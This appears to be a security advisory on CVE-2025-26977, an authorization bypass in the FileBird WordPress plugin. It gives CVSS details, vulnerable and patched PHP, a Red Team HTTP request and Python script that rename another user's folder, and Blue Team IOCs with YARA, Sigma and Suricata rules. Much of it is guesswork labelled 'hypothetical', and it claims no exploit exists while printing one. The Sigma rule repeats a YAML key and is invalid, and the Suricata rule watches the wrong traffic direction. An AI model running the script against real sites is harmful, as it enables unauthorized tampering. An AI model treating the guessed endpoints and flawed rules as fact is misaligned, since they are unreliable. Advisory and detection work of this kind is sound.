CVE-2025-26977

Executive Summary

CVE-2025-26977 is an Authorization Bypass Through User-Controlled Key vulnerability (CWE-639) affecting the FileBird WordPress plugin by Ninja Team, versions up to and including 6.4.2.1. This flaw allows an authenticated attacker with low privileges to manipulate user-controlled keys (e.g., folder IDs, attachment IDs) to access or modify resources they are not authorized to, effectively bypassing the plugin's access control security levels. The vulnerability has a low CVSS score of 3.8 due to the requirement for authentication and the limited impact on confidentiality and integrity. No public proof-of-concept or exploit code is currently available, and the patch status remains unknown.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. It does not affect the core WordPress application or server software like Apache or Nginx. The issue lies entirely within the FileBird plugin's implementation of access control checks when processing user-supplied identifiers.

CVSS Breakdown & Threat Level

• CVSS Score: 3.8 (Low)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or race conditions are required.
• Privileges Required (PR): Low – An attacker must have a valid WordPress user account (e.g., subscriber or author).
• User Interaction (UI): None – No user action is required for exploitation.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): Low – Limited unauthorized access to data (e.g., other users' folders or files).
• Integrity (I): Low – Limited ability to modify unauthorized data.
• Availability (A): None – No impact on system availability.

Threat Level: Low. The requirement for authentication and the limited impact reduce the immediate risk. However, in multi-tenant WordPress environments or sites with sensitive media, this could be leveraged for data leakage or unauthorized modifications.

Deep Dive & Mechanics

The vulnerability resides in how the FileBird plugin handles user-controlled keys, likely in AJAX endpoints or REST API routes that manage folders and attachments. The plugin fails to validate that the user-supplied ID (e.g., folder_id, attachment_id) belongs to the current user or that the user has the appropriate capabilities to access or modify the resource.

Root Cause: The plugin uses a user-controlled key (e.g., from a POST/GET parameter) to query or modify data without verifying ownership or permissions. For example, when a user renames a folder, the plugin might accept a folder_id parameter and update the folder's name in the database without checking if the folder belongs to that user.

Exploitation Scenario:

1. An authenticated attacker (e.g., a subscriber) identifies an AJAX endpoint like admin-ajax.php?action=filebird_rename_folder.
2. The attacker intercepts the request and modifies the folder_id parameter to a value belonging to another user (e.g., an admin's folder).
3. The plugin processes the request, allowing the attacker to rename or delete the folder, or access its contents.

Affected Endpoints (Hypothetical):

• admin-ajax.php?action=filebird_get_folder_content
• admin-ajax.php?action=filebird_delete_folder
• admin-ajax.php?action=filebird_move_attachments

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on the vulnerability type.

Vulnerable Code (PHP):

// Vulnerable: No ownership check
function filebird_rename_folder() {
    $folder_id = intval($_POST['folder_id']);
    $new_name = sanitize_text_field($_POST['name']);
    
    global $wpdb;
    $wpdb->update(
        "{$wpdb->prefix}fbv_folders",
        array('name' => $new_name),
        array('id' => $folder_id)
    );
}

Patched Code (Hypothetical):

// Patched: Ownership check added
function filebird_rename_folder() {
    $folder_id = intval($_POST['folder_id']);
    $new_name = sanitize_text_field($_POST['name']);
    $user_id = get_current_user_id();
    
    global $wpdb;
    $folder = $wpdb->get_row(
        $wpdb->prepare(
            "SELECT * FROM {$wpdb->prefix}fbv_folders WHERE id = %d AND created_by = %d",
            $folder_id,
            $user_id
        )
    );
    
    if (!$folder) {
        wp_die('Unauthorized', 403);
    }
    
    $wpdb->update(
        "{$wpdb->prefix}fbv_folders",
        array('name' => $new_name),
        array('id' => $folder_id)
    );
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with FileBird plugin <= 6.4.2.1.
• A low-privileged user account (e.g., subscriber).

Exploitation Steps:

1. Log in as the low-privileged user.
2. Identify AJAX actions by inspecting the plugin's JavaScript or using a tool like Burp Suite.
3. Craft a request to modify a folder belonging to another user:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Content-Type: application/x-www-form-urlencoded
   Cookie: [your_wordpress_cookie]
   
   action=filebird_rename_folder&folder_id=5&name=HackedFolder
   

4. If successful, the folder with ID 5 (owned by an admin) will be renamed.

Automation Script (Python):

import requests

target = "https://target-site.com/wp-admin/admin-ajax.php"
cookie = {"wordpress_logged_in": "your_cookie_value"}

data = {
    "action": "filebird_rename_folder",
    "folder_id": "5",
    "name": "Compromised"
}

response = requests.post(target, cookies=cookie, data=data)
print(response.text)

Blue Team (Defensive)

Detection:

• Monitor for unusual AJAX requests to admin-ajax.php with action parameters starting with filebird_.
• Look for rapid changes to folder names or structures by low-privileged users.
• Enable logging of all AJAX requests in WordPress (e.g., using a plugin like "WP Activity Log").

Mitigation:

• Apply the principle of least privilege; restrict user roles.
• Use a Web Application Firewall (WAF) to block suspicious requests.
• Monitor for CVE-2025-26977 patches from Ninja Team and apply immediately.

Indicators of Compromise (IOCs)

• Network:
  • Repeated POST requests to /wp-admin/admin-ajax.php with action=filebird_* parameters.
  • Unusual folder_id values in requests from low-privileged users.
• Host:
  • Unexpected changes to folder names in the wp_fbv_folders database table.
  • Log entries showing unauthorized access attempts to admin-level folders.
• File System:
  • Modified plugin files (if attacker uploads malicious code).
• Database:
  • Anomalous entries in wp_fbv_folders where created_by does not match the expected user.

Detection Engineering

YARA Rule

rule CVE_2025_26977_FileBird_AuthBypass {
    meta:
        description = "Detects exploitation attempts of CVE-2025-26977 in FileBird plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-26977"
    strings:
        $ajax_action = "admin-ajax.php"
        $filebird_action = "action=filebird_"
        $folder_param = "folder_id="
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-26977 FileBird Authorization Bypass
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation of CVE-2025-26977 via AJAX requests
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=filebird_'
        cs-uri-query|contains: 'folder_id='
    condition: selection
falsepositives:
    - Legitimate admin actions
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-26977 FileBird Authorization Bypass Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"admin-ajax.php"; http_uri;
    content:"action=filebird_"; http_client_body;
    content:"folder_id="; http_client_body;
    classtype:attempted-user;
    sid:10000001;
    rev:1;
    reference:cve,2025-26977;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the FileBird plugin until a patch is available.
2. Restrict user roles – Ensure only trusted users have access to the plugin's features.
3. Monitor logs for suspicious AJAX activity.

Long-term Fix:

• Apply the official patch from Ninja Team once released.
• Implement a Web Application Firewall (WAF) rule to block requests with manipulated folder_id parameters.
• Conduct a security audit of all WordPress plugins for similar vulnerabilities.

Workaround:

• Use a plugin like "User Role Editor" to remove the filebird_* capabilities from low-privileged roles.

Valters IT
Securing Digital Frontiers